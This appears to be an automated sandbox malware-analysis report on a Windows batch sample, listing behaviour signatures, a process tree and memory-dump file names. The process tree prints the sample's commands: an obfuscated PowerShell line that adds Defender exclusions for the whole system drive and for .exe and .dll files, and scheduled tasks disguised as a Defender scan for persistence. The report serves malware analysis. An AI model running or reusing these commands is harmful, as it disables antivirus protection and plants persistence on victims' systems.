Analysis
- max time kernel
24s - max time network
28s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
04/11/2024, 06:38
General
- Target Application.bat
- Size 6KB
- Sample241104-heflvswhlr
- SHA256 0f31042be5c136b8e937138dd205f55d9bd6d7a005ec2b385d1f3818ee2e37fc
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Drops file in Windows directory 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 15 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Application.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\lua.exelua.exe cache.txt2⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "Start-Process <#amcddyxvoegzk#> powershell <#knlcgykjsstbhxcikzo#> -Verb <#tjbgshemuupmn#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc daily /st 13:18 /f /tn WindowsDefenderScheduledScan_ODA3 /tr ""C:\Users\Admin\AppData\Local\ODA3\ODA3.exe" "C:\Users\Admin\AppData\Local\ODA3\cache.txt""3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc daily /st 13:18 /f /tn Setup /tr "C:/Windows/System32/oobe/Setup.exe" /rl highest3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_onqidkk0.txq.ps1
memory/756-205-0x00000000737F0000-0x0000000073FA0000-memory.dmp
memory/756-229-0x00000000061C0000-0x00000000061DE000-memory.dmp
memory/756-234-0x0000000007220000-0x000000000722E000-memory.dmp
memory/756-233-0x00000000071F0000-0x0000000007201000-memory.dmp
memory/756-232-0x0000000007050000-0x000000000705A000-memory.dmp
memory/756-231-0x0000000007630000-0x0000000007CAA000-memory.dmp
memory/756-230-0x0000000006F00000-0x0000000006FA3000-memory.dmp
memory/756-237-0x0000000007300000-0x0000000007308000-memory.dmp
memory/756-219-0x00000000700F0000-0x000000007013C000-memory.dmp
memory/756-218-0x00000000061E0000-0x0000000006212000-memory.dmp
memory/756-236-0x0000000007320000-0x000000000733A000-memory.dmp
memory/756-207-0x0000000005620000-0x0000000005974000-memory.dmp
memory/756-206-0x00000000737F0000-0x0000000073FA0000-memory.dmp
memory/756-239-0x00000000737F0000-0x0000000073FA0000-memory.dmp
memory/756-235-0x0000000007230000-0x0000000007244000-memory.dmp
memory/756-204-0x00000000737F0000-0x0000000073FA0000-memory.dmp
memory/1636-202-0x00000000737F0000-0x0000000073FA0000-memory.dmp
memory/1636-199-0x00000000071E0000-0x0000000007784000-memory.dmp
memory/1636-198-0x0000000006100000-0x0000000006122000-memory.dmp
memory/1636-197-0x00000000060B0000-0x00000000060CA000-memory.dmp
memory/1636-196-0x0000000006B90000-0x0000000006C26000-memory.dmp
memory/1636-195-0x0000000005C00000-0x0000000005C4C000-memory.dmp
memory/1636-194-0x0000000005BC0000-0x0000000005BDE000-memory.dmp
memory/1636-193-0x00000000056D0000-0x0000000005A24000-memory.dmp
memory/1636-176-0x00000000737FE000-0x00000000737FF000-memory.dmp
memory/1636-182-0x00000000054F0000-0x0000000005556000-memory.dmp
memory/1636-183-0x0000000005560000-0x00000000055C6000-memory.dmp
memory/1636-181-0x0000000004C00000-0x0000000004C22000-memory.dmp
memory/1636-180-0x0000000004DD0000-0x00000000053F8000-memory.dmp
memory/1636-179-0x00000000737F0000-0x0000000073FA0000-memory.dmp
memory/1636-178-0x00000000022A0000-0x00000000022D6000-memory.dmp
memory/2188-38-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-32-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-33-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-31-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-30-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-29-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-28-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-27-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-26-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-25-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-24-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-23-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-22-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-21-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-19-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-15-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-18-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-17-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-16-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-14-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-13-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-12-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-11-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-10-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-9-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-8-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-7-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-6-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-5-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-3-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-2-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-1-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-0-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-43-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-4-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-34-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-35-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-177-0x0000000002650000-0x0000000002651000-memory.dmp
memory/2188-36-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-37-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-39-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-40-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-20-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-42-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-41-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-45-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-44-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-47-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-48-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-49-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-50-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-51-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-52-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-53-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-54-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-55-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-57-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-58-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-59-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-60-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-46-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-78-0x0000000002650000-0x0000000002651000-memory.dmp
memory/2188-79-0x0000000002650000-0x0000000002651000-memory.dmp
memory/2188-80-0x0000000002650000-0x0000000002651000-memory.dmp
memory/2188-82-0x0000000002650000-0x0000000002651000-memory.dmp
memory/2188-83-0x0000000002650000-0x0000000002651000-memory.dmp
memory/2188-88-0x0000000002650000-0x0000000002651000-memory.dmp
memory/2188-61-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-62-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-63-0x000000007FA60000-0x000000007FA70000-memory.dmp
memory/2188-56-0x000000007FA60000-0x000000007FA70000-memory.dmp